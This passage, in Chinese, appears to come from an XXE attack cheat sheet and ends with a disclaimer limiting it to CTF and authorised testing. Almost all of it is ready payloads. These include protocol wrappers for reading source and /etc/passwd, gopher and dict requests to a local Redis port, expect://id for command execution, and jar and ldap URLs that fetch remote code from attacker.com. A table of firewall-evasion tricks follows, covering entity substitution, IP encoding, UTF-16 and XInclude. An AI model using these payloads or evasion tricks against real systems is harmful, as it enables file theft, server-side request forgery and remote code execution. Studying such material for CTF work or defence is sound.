gopher:// 原始 TCP 数据 部分支持 gopher://127.0.0.1:6379/_*1
php://filter PHP 源码读取 PHP php://filter/convert.base64-encode/resource=x.php
expect:// RCE PHP + expect expect://id
jar:// Java JAR 读取 Java jar:http://attacker.com/evil.jar!/
netdoc:// 文件读取 Java netdoc:///etc/passwd
dict:// 端口探测 部分支持 dict://127.0.0.1:6379/info
ldap:// JNDI(Java) Java ldap://attacker.com/exploit

D. WAF 绕过速查

绕过目标 方法 示例
SYSTEM 关键字 用 PUBLIC 代替 <!ENTITY x PUBLIC "id" "file:///etc/passwd">
file:// 检测 变体写法 file://localhost/etc/passwd
127.0.0.1 IP 编码 0x7f000001 / 2130706433 / 0177.0.0.1
关键词检测 字符实体编码 &#x25; 代替 %
UTF-8 检测 UTF-16 编码 整个文档用 UTF-16 编码
DOCTYPE 检测 XInclude <xi:include href="file:///etc/passwd">
内容检测 CRLF 注入 请求体分块,关键词跨块
URL 特殊字符 PHP filter php://filter/.../resource=

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。XXE 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。